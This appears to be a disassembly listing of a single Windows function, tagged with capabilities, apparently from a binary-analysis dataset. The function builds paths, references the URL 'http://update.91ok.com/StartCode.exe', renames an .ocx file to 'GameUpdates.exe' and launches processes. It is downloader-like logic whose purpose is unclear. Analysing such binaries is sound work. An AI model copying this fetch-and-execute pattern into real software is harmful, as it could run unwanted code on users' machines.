Function at 0x401110
Capabilities:
Create process on windows
Get number of processors

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x429229
mov eax, dword fs:[0]
push eax
sub esp, 0x428
mov eax, dword [0x434ca4]
xor eax, esp
mov dword [esp + 0x420], eax
push ebx
push esi
push edi
mov eax, dword [0x434ca4]
xor eax, esp
push eax
lea eax, [esp + 0x438]
mov dword fs:[0], eax
lea eax, [esp + 0x2c]
push eax
mov ebx, ecx
mov dword [esp + 0x30], 8
mov dword [esp + 0x34], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, ebx
call fcn.004045c1
mov eax, ebx
call fcn.00401a10
test eax, eax
jne 0x401190
push eax
push eax
push 0x42e308
call fcn.00404f9b
jmp 0x40175c
call fcn.00405992
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x60]
lea edi, [ebx + 0x158]
mov dword [esp + 0x18], edi
test edx, edx
jne 0x4011ad
xor eax, eax
jmp 0x4011bb
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4011b2
sub eax, esi
push eax
push edx
mov ecx, edi
call fcn.00402a30
call fcn.00401810
test eax, eax
je 0x401724
call fcn.00403d92
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4011eb
push 0x80004005
call fcn.00402ba0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
push 1
push ecx
mov dword [esp + 0x448], 0
lea esi, [ebx + 0xa4]
mov ecx, esp
mov dword [esp + 0x18], esp
push esi
call fcn.00402790
lea ecx, [esp + 0x18]
push ecx
call fcn.00401b00
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x444], 1
call fcn.00402ac0
mov byte [esp + 0x440], 0
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40125f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x38
lea ecx, [esp + 0x260]
push 0
mov edi, 0x2f2f2e
push ecx
mov dword [esp + 0x264], edi
call fcn.004160d0
mov edx, dword [esp + 0x20]
push edx
lea eax, [esp + 0x268]
push 0x3c
push eax
call fcn.00414d3e
push str..ocx
lea ecx, [esp + 0x274]
push 0x3c
push ecx
call fcn.00414d3e
lea edx, [esp + 0x27c]
push 0
push edx
call fcn.004146bf
add esp, 0x2c
cmp eax, 0xffffffff
jne 0x4013c7
push 0x38
lea eax, [esp + 0x29c]
push 0
push eax
mov dword [esp + 0x2a0], edi
call fcn.004160d0
push esi
lea ecx, [esp + 0x2a4]
push 0x3c
push ecx
call fcn.00414d3e
push 0x3b
lea edx, [esp + 0x2ed]
push 0
push edx
mov byte [esp + 0x2f4], 0
call fcn.004160d0
lea eax, [esp + 0x2b8]
push eax
lea ecx, [esp + 0x2f8]
push 0x3c
push ecx
call fcn.00414d3e
push str..exe
lea edx, [esp + 0x304]
push 0x3c
push edx
call fcn.00414d3e
mov esi, dword [esp + 0x50]
push 0
push esi
call fcn.004146bf
add esp, 0x44
cmp eax, 0xffffffff
je 0x40134f
lea eax, [esp + 0x258]
push eax
push esi
call fcn.00405a4b
jmp 0x4013cb
lea ecx, [esp + 0x294]
push 0
push ecx
call fcn.004146bf
add esp, 8
cmp eax, 0xffffffff
je 0x40137d
lea edx, [esp + 0x258]
push edx
lea eax, [esp + 0x298]
push eax
call fcn.00405a4b
jmp 0x4013cb
lea ecx, [esp + 0x2d0]
push 0
push ecx
call fcn.004146bf
add esp, 8
cmp eax, 0xffffffff
je 0x4013ab
lea edx, [esp + 0x258]
push edx
lea eax, [esp + 0x2d4]
push eax
call fcn.00405a4b
jmp 0x4013cb
push 0
push 0
push 0x42e33c
call fcn.00404f9b
lea ecx, [esp + 0x14]
call fcn.00402c80
jmp 0x40175c
mov esi, dword [esp + 0x14]
push 0x44
lea ecx, [esp + 0x38]
push 0
push ecx
call fcn.004160d0
xor eax, eax
push 0x63
push eax
lea edx, [esp + 0x3d9]
push edx
mov dword [esp + 0x4c], 0x44
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov byte [esp + 0x3dc], al
call fcn.004160d0
lea eax, [esp + 0x270]
push eax
lea ecx, [esp + 0x3e0]
push 0x64
push ecx
call fcn.00414d3e
push 0x42e358
lea edx, [esp + 0x3ec]
push 0x64
push edx
call fcn.00414d3e
add ebx, 0x108
push ebx
lea eax, [esp + 0x3f8]
push 0x64
push eax
call fcn.00414d3e
add esp, 0x3c
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x38]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x3e4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4014b4
push eax
push eax
push 0x42e35c
call fcn.00404f9b
mov dword [esp + 0x440], 0xffffffff
lea eax, [esi - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40175c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x40175c
mov ecx, dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x20]
push edx
call esi
call fcn.00403d92
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4014e2
push 0x80004005
call fcn.00402ba0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x10], eax
push 0x4c
lea ecx, [esp + 0x37c]
mov bl, 2
push 0
mov byte [esp + 0x448], bl
push ecx
mov dword [esp + 0x380], edi
call fcn.004160d0
mov edx, dword [esp + 0x24]
mov eax, dword [edx]
push eax
lea eax, [esp + 0x384]
push 0x50
push eax
call fcn.00414d3e
push str..exe
lea ecx, [esp + 0x390]
push 0x50
push ecx
call fcn.00414d3e
mov eax, dword [0x42e37c]
mov ecx, dword [0x42e380]
mov edx, dword [0x42e378]
push 0x52
mov dword [esp + 0x33c], ecx
mov dword [esp + 0x334], edx
mov edx, dword [0x42e384]
mov dword [esp + 0x338], eax
mov ax, word [0x42e388]
lea ecx, [esp + 0x346]
push 0
push ecx
mov dword [esp + 0x348], edx
mov word [esp + 0x34c], ax
call fcn.004160d0
lea edx, [esp + 0x3a4]
push edx
lea eax, [esp + 0x340]
push 0x64
push eax
call fcn.00414d3e
push str._http:__update.91ok.com_StartCode.exe
lea ecx, [esp + 0x34c]
push 0x64
push ecx
call fcn.00414d3e
add esp, 0x48
lea edx, [esp + 0x18]
push edx
call fcn.00401c40
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x444], 3
call fcn.00402ac0
mov byte [esp + 0x440], bl
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401600
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [esp + 0x10]
push 0x42e3b4
push edi
call fcn.00414d27
add esp, 8
test eax, eax
setne al
test al, al
je 0x4016d5
lea ecx, [esp + 0x10]
push ecx
mov eax, 0x438a84
call fcn.004020f0
add esp, 4
test al, al
je 0x4016d5
push 0
push str..__Stroaviot.ocx
call fcn.00414636
add esp, 8
test eax, eax
je 0x401672
push 0
push str..__GameUpdates.exe
call fcn.00414636
add esp, 8
test eax, eax
jne 0x401710
push str..__Stroaviot.ocx
push str..__GameUpdates.exe
call fcn.00405a4b
push 0x44
lea edx, [esp + 0x38]
push 0
push edx
call fcn.004160d0
add esp, 0xc
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x38]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x32c]
push edx
push 0
mov dword [esp + 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4016d5
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x20]
push ecx
call esi
lea eax, [edi - 0x10]
mov byte [esp + 0x440], 0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4016f9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x440], 0xffffffff
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
jmp 0x401492
lea ecx, [esp + 0x10]
call fcn.00402c80
lea ecx, [esp + 0x14]
call fcn.00402c80
jmp 0x40175c
lea ecx, [esp + 0x7c]
push ecx
call fcn.00402ca0
lea edx, [esp + 0x7c]
mov dword [esp + 0x440], 4
mov ecx, edx
mov dword [ebx + 0x20], edx
call fcn.00406c33
lea eax, [esp + 0x7c]
push eax
mov dword [esp + 0x444], 0xffffffff
call fcn.00401790
xor eax, eax
mov ecx, dword [esp + 0x438]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x420]
xor ecx, esp
call fcn.0041440f
mov esp, ebp
pop ebp
ret